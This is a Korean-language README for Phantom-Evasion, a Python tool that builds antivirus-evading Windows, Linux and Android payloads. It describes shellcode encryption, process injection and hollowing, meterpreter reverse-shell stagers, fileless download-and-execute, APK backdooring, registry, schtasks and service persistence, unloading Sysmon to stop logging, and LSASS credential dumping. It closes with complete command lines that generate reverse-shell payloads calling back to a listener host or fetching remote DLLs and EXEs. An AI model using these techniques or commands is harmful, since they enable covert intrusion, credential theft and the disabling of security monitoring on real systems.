
Python 안티바이러스 우회 도구
Phantom-Evasion은 파이썬(python 및 python3 모두 호환)으로 작성된 안티바이러스 우회 도구로, 가장 흔한 x86 msfvenom 페이로드로도 (거의) 완전히 탐지되지 않는 실행 파일을 생성할 수 있습니다.
다음 운영 체제에서 자동 설정을 공식적으로 지원합니다:
다음 운영 체제는 자동 설정을 지원할 가능성이 높지만, metasploit-framework의 수동 설치가 필요합니다:
다음 운영 체제는 수동 설정이 필요합니다:
Phantom-Evasion 폴더를 git clone하거나 다운로드하여 압축을 풀기만 하면 됩니다.
자동 설정: 터미널을 열고 다음을 실행하세요:
python3 phantom-evasion.py --setup
또는:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
또는 대화형 모드로 phantom-evasion을 시작하고 옵션 7을 선택하세요.
python3 phantom-evasion.py
또는:
./phantom-evasion.py
python3 phantom-evasion.py --help
또는:
./phantom-evasion.py --help
-모든 Windows 페이로드 C 모듈은 EXE 또는 DLL/ReflectiveDLL로 컴파일 가능 (x86 및 x64 모두 지원).
-무작위 정크 코드 삽입(강도, 빈도 및 재삽입 확률 설정 가능) 및 Windows 안티바이러스 우회 기술(빈도 설정 가능).
-셸코드 삽입 및 다운로드 실행 모듈 모두에서 멀티바이트 Xor/Vigenere 셸코드/파일 암호화 지원.
-Ntdll unhookapi 및 Peb 프로세스 위장 기술 지원.
-다양한 실행 모드 지원 (로컬 및 원격 모두).
-다양한 페이로드 메모리 할당 모드 지원(Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Windows API 동적 로딩 설정 가능.
-인증서 스푸퍼 및 서명자 지원.
-실행 파일 스트립 (https://en.wikipedia.org/wiki/Strip_(Unix))
Msfvenom Windows 페이로드 및 사용자 정의 셸코드 지원. 셸코드는 리소스로 저장되고 FindResource API로 런타임에 검색 가능.
셸코드 암호화 지원:
1. 없음
2. 멀티바이트 Xor
3. 이중 키 멀티바이트 Xor
4. Vigenere
5. 이중 키 Vigenere
로컬 실행 방법은 다음 중 하나일 수 있습니다:
Thread
APC
로컬 메모리 할당 모드는 다음 중 하나일 수 있습니다:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
원격 실행 방법은 다음 중 하나일 수 있습니다:
ThreadExecutionHijack (약어 TEH)
Processinject (약어 PI)
APCSpray (약어 APCS)
EarlyBird (약어 EB)
EntryPointHijack (약어 EPH)
원격 메모리 할당 모드는 다음 중 하나일 수 있습니다:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
msfconsole 및 cobalt strike beacon과 호환되는 순수 C meterpreter 스테이저(TCP/HTTP/HTTPS) 모듈. (reverse_tcp/reverse_http/reverse_https)
명령줄 모드 사용:
reverse_tcp c 스테이저: WRT
reverse_http c 스테이저: WRH
reverse_https c 스테이저: WRS
로컬 실행 방법은 다음 중 하나일 수 있습니다:
Thread
APC
로컬 메모리 할당 모드는 다음 중 하나일 수 있습니다:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
제공된 URL에서 exe/dll을 메모리로 다운로드하고 원격 프로세스에 실행/로드 (디스크에 쓰지 않음).
암호화된 EXE/DLL 다운로드 지원:
1. 없음
2. 멀티바이트 Xor
3. 이중 키 멀티바이트 Xor
4. Vigenere
5. 이중 키 Vigenere
암호화된 DLL/EXE는 원본 파일명 + "crypt" + ".dll" 또는 ".exe"로 저장되며, 이것이 다운로드 대상 파일입니다.
Windows DownloadExecExe NoDiskWrite (명령줄 모드: WDE):
원격 실행 방법은 다음 중 하나일 수 있습니다:
ProcessHollowing (약어 PH)
Windows DownloadExecDll NoDiskWrite (명령줄 모드: WDD):
원격 로딩 방법은 다음 중 하나일 수 있습니다:
ReflectiveDll (약어 RD)
RDAPC (ReflectiveDllAPC)
ManualMap (약어 MM) ---> x86 전용
Msfvenom Linux 페이로드 및 사용자 정의 셸코드 지원.
Android Msfvenom Obfuscate Backdoor:
msfvenom 페이로드를 난독화하고 apktool로 재빌드(smali/baksmali). 난독화된 페이로드는 정상 APK 파일을 백도어하는 데 사용할 수 있습니다.
Windows Persistence RegCreateKeyExW 레지스트리 키 추가 (C) 컴파일된 실행 파일을 대상 시스템에 업로드하고 시작 시 추가할 파일의 전체 경로를 인수로 지정하여 실행해야 합니다.
Windows Persistence REG 레지스트리 키 추가 (CMD) 이 모듈은 지속성을 위한 명령줄 페이로드를 생성합니다 (REG.exe를 통해 레지스트리 키 추가).
Windows Persistence Keep Process Alive (C) 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다. CreateToolSnapshoot, ProcessFirst 및 ProcessNext를 사용하여 지정된 프로세스가 X초마다 살아 있는지 확인합니다 (살아 있지 않으면 WinExec API를 사용하여 새 프로세스 생성).
Windows Persistence Schtasks (CMD)
이 모듈은 지속성을 위한 명령줄 페이로드를 생성합니다 (Schtasks.exe 사용).
Windows Persistence Create Service (CMD)
이 모듈은 지속성을 위한 명령줄 페이로드를 생성합니다 (sc.exe 사용).
Windows DuplicateTokenEx (C)
다른 프로세스에서 복제된 토큰으로 새 프로세스를 생성합니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.
Windows Unload Sysmon (C) sysmon 드라이버를 언로드하여 시스템이 sysmon 이벤트 로그 기록을 중지하게 합니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.
Windows Unload Sysmon (CMD) sysmon 드라이버를 언로드하여 시스템이 sysmon 이벤트 로그 기록을 중지하게 합니다.
Windows Attrib 파일 숨기기 (CMD) attrib를 사용하여 파일을 숨깁니다.
Windows SetFileAttribute hidden (C) SetFileAttribute API를 사용하여 파일을 숨깁니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.
Windows DumpLsass (C) MiniWriteDumpWrite API를 사용하여 Lsass를 덤프합니다. 컴파일된 실행 파일을 대상 시스템에 업로드하고 실행해야 합니다.
Windows DumpLsass (CMD)
명령줄에서 Lsass를 덤프합니다.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf